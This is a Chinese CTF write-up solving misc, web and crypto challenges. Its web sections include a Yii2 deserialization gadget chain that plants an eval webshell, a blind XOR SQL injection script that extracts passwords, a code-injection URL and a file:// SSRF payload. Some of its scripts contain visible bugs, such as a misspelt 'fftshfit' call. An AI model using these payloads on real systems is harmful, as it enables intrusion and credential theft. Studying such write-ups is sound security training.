签到:
根据附件文件名EBCDIC,可知是编码,转换即可
colorful code
根据题意,颜色编码,老Piet了,
根据这个原理再看给的两个文件就知道了
data1的数据对应data2的色块,data2必然是rgb颜色,由于
总共二十种颜色,进提取前20*3=60个字节即可,提取为:
(0x00,0x00,0x00),(0x00,0x00,0xc0),(0x00,0xff,0xff),(0x00,0xff,0x00),(0xff,0xc0,0xff),(0xff,0xc0,0xc0),(0xc0,0xc0,0xff),(0xc0,0xc0,0x00),(0xff,0x00,0xff),(0xff,0x00,0x00),(0xc0,0x00,0x00),(0xc0,0x00,0xc0),(0xff,0xff,0xff),(0xff,0xff,0x00),(0xff,0xff,0xc0),(0x00,0xc0,0x00),(0x00,0xc0,0xc0),(0xc0,0xff,0xff),(0xc0,0xff,0xc0),(0x00,0x00,0xff),
这里对应关系举个例子,比如data1的第一位 5,对应data2头部第5个像素块,从0开始数 是ff c0 c0,以此类推进行写脚本即可
from PIL import Imagecolor = [(0x00,0x00,0x00),(0x00,0x00,0xc0),(0x00,0xff,0xff),(0x00,0xff,0x00),(0xff,0xc0,0xff),(0xff,0xc0,0xc0),(0xc0,0xc0,0xff),(0xc0,0xc0,0x00),(0xff,0x00,0xff),(0xff,0x00,0x00),(0xc0,0x00,0x00),(0xc0,0x00,0xc0),(0xff,0xff,0xff),(0xff,0xff,0x00),(0xff,0xff,0xc0),(0x00,0xc0,0x00),(0x00,0xc0,0xc0),(0xc0,0xff,0xff),(0xc0,0xff,0xc0),(0x00,0x00,0xff)]print(len(color))with open('data1') as f: data = f.read().split(" ")[:-1]img = Image.new("RGB",(37,191))for i in range(37): for j in range(191): img.putpixel((i,j),color[int(data[i*191+j])])img.show()img.save('flag.png')
获得图片:
最后在线扫描就完事了
PicPic
fftfftfftfft,套了三次的fft
给了两个视频以及一个r,还有源码,简单看看
import os
import cv2
import struct
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
if __name__ == '__main__':
os.mkdir('m')
os.mkdir('p')
os.mkdir('frame')
os.system('ffmpeg -i secret.mp4 frame/%03d.png') #视频拆分多张照片
files = os.listdir('frame')
r_file = open('r', 'wb')
for file in files:
img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE) #读取所有帧
m, p = fft(img)
r_file.write(struct.pack('!ff', m.min(), m.max()))
new_img1 = mapping(m) #绘制
new_img2 = mapping(p) #绘制
cv2.imwrite(f'm/{file}', new_img1)
cv2.imwrite(f'p/{file}', new_img2)
r_file.close()
os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')
把原视频做了提取帧,然后把数据接入r,把帧进行fft变换,最后合成视频,一个是频域一个是相位
视频有了,那就先反向操作提个视频帧,在测试中,mkv直接提取的帧无法被ifft提取出内容,推测有所失真,所以弄了个骚操作,先把mkv转码成mp4….
ffmpeg -i 1.mkv -codec copy “1.mp4”
ffmpeg -i 2.mkv -codec copy “2.mp4”
然后再全部提出来,
ffmpeg -i 1.mp4 test1/%03d.png
ffmpeg -i 2.mp4 test2/%03d.png
写脚本进行fft变换,由于fft进行多次变换的时候信号方向只会发生旋转,所以理论上原帧直接进行fft也不是不行,所以把题目给的脚本拿过来再fft一次就可
import os
import cv2
import struct
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
if __name__ == '__main__':
os.mkdir('m')
os.mkdir('p')
# os.mkdir('frame')
# os.system('ffmpeg -i secret.mp4 frame/%03d.png')
#
files = os.listdir('test')
r_file = open('r', 'wb')
for file in files:
img = cv2.imread(f'test1/{file}', cv2.IMREAD_GRAYSCALE)
m, p = fft(img)
r_file.write(struct.pack('!ff', m.min(), m.max()))
new_img1 = mapping(m)
new_img2 = mapping(p)
cv2.imwrite(f'm/{file}', new_img1)
cv2.imwrite(f'p/{file}', new_img2)
r_file.close()
# os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
# os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')
导出内容会存放至m,p,在m的最后199或者200png即可发现文字
获得压缩包密码zs6hmdlq5ohav5l1
进入第二步,
可以看见一个hint以及一个具有噪声的二维码和一个噪声。
查看hint,内容为html的math标签,在线执行即可
这里刚开始还不明白啥意思,后来懂了,这是相位进行了互换,幅值是不变的,所以套用公式再变换一下相位即可,同理,照着原脚本改就完事了
撰写脚本:
import os
import cv2
import struct
import numpy as np
from PIL import Image
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
if __name__ == '__main__':
img = np.array(Image.open(r'mix1.png').convert('L'))
img2 = np.array(Image.open(r'mix2.png').convert('L'))
m1, p1 = fft(img)
m2, p2 = fft(img2)
fft = m1*np.cos(p2) +m1*np.sin(p2)*1j #相位转换
fft2 = m2*np.cos(p1) +m1*np.sin(p1)*1j #相位转换
new_img1 = mapping(np.abs(np.fft.ifft2(fft))) #绘制
new_img2 = mapping(np.abs(np.fft.ifft2(fft2))) #绘制
#print(m)
#print(p)
cv2.imwrite(f'1.png', new_img1)
cv2.imwrite(f'2.png', new_img2)
扫描二维码,获得内容
0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f
意义不明,但是先进入最后的看看
根据前两个,直接跑,跑出来
笑死,根本看不清,调整mapping一参数以及算法,最终构筑exp
import os
import cv2
import struct
import numpy as np
from PIL import Image
import math
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
m = np.fft.fftshfit(fft)
m = np.log(np.abs(fft))
return m
if __name__ == '__main__':
img = np.array(Image.open(r'phase.png').convert('L'))
m = mapping(img,-np.pi,np.pi,np.float64 )
fft = np.exp(m*1j)
p = np.fft.fftshift(fft)
new_img1 = mapping(np.abs(np.fft.ifft2(p)))
cv2.imwrite(f'1.png', new_img1)
# os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
# os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')
aes解密即可
find_it
签到题,直接访问index.php?code=<?php%20phpinfo();%20?>
最后访问hack.php即可
framework
开局一个yii框架的一个东西,参考文章:https://mp.weixin.qq.com/s/qW2XgudMZV_5HuMlNcPE4Q
找到网站的入口点?r=site/about&message=[]
根据文章的内容写poc:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents("/var/www/html/web/1.php","<?php eval(\$_POST[cmd]);");';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
生成poc,直接打到入口点
报错了,这个时候访问1.php
正常访问,进行菜刀连接
成功进来,
发现没有权限,直接用插件绕过disable_functions就行了
执行readflag即可
WebsiteManger
打开发现是个注入题
用sqlmap跑了一下发现注入点在:
/image.php?id=1
尝试了多重注入发现是异或注入
随即尝试爆库名
/image.php?id=1^(ascii(substr((select(database())),1,1))>1)^1
有正常的图片显示
直到值为99的时候没有回显
证明第一个字母为c ,如法炮制,得到库名为ctf
接下来用脚本爆剩余的信息
import requests
import time
#url1 = "url/image.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{0},1))>{1})^1"
#url2 = "url/image.php?=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1))>{1})^1"
url3 = "url/image.php?id=1^(ascii(substr((select(group_concat(password))from(ctf.users)),{0},1))>{1})^1"#8d3d7d2983efec1d33953
strs=""
for i in range(1,1000):
l = 32
h = 128
mid = (l + h)
while (l < h):
nurl=url3.format(i,mid)
r=requests.get(url=nurl)
if 'JFIF' in r.text:
l = mid + 1
else:
h = mid
mid = (l + h) // 2
time.sleep(0.1)
strs += chr(mid)
print(strs)
得到管理员密码
进入后台,抓包发现是ssrf本地文件读取漏洞
尝试构造payload:
file:// /flag
得到flag
primegame
原题,地址:포카전/카포전 2020 해킹 문제 출제 (secmem.org)
没啥好说的,真就原题替换一下数值就出flag,,,挺无语的,out里面两个数据,逐次输入,丢入sage运行即可
用他的exp就完事了
exp:
import math
from decimal import *
import random
import struct
getcontext().prec = int(100)
primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)
keys = []
for i in range(len(primes)):
keys.append(Decimal(int(primes[i])).ln())
arr = []
for v in keys:
arr.append(int(v * int(16) ** int(64)))
ct = 737384863737803670841307970259513146291422299366557325168325233349136771464845311
#ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918
def encrypt(res):
h = Decimal(int(0))
for i in range(len(keys)):
h += res[i] * keys[i]
ct = int(h * int(16)**int(64))
return ct
def f(N):
ln = len(arr)
A = Matrix(ZZ, ln + 1, ln + 1)
for i in range(ln):
A[i, i] = 1
A[i, ln] = arr[i] // N
A[ln, i] = 64
A[ln, ln] = ct // N
res = A.LLL()
for i in range(ln + 1):
flag = True
for j in range(ln):
if -64 <= res[i][j] < 64:
continue
flag = False
break
if flag:
vec = [int(v + 64) for v in res[i][:-1]]
ret = encrypt(vec)
if ret == ct:
print(N, bytes(vec))
else:
print("NO", ret, bytes(vec))
for i in range(2, 10000):
print(i)
f(i)
第一部分:
第二部分:
hpcurve
原题,地址:pwnthem0le (polito.it)
唯一不同就是
text的内容不同,以及
此处算法进行了修改,用一下他的exp就完事了
import struct
p = 10000000000000001119
K = GF(p)
R.<x> = K[]; y=x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()
def get_u_from_out(output, known_input):
res = []
for i in range(24):
res.append(output[i]^^known_input[i])
res = bytes(res)
u0, u1, u2 = struct.unpack("<QQQ", res)
u = x^3+x^2*u2+x*u1+u0
return u
from itertools import product
def get_v_from_u(u):
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
ys = []
for root in roots:
ys.append(f(root).sqrt(0,1))
res = []
for perm in product(range(2), repeat=3):
poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
if poly[0] in K:
res.append(R(poly))
return res
def try_decode(output, u, v):
rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *rs)
plain = []
for i in range(len(output)):
plain.append(output[i]^^otp[i%len(otp)])
return bytes(plain)
output = bytes.fromhex("66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5")
known_input = 20*b"a"+b"flag"
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
print(try_decode(output,u,v))
sage运行获得flag
- 最新
- 最热
只看作者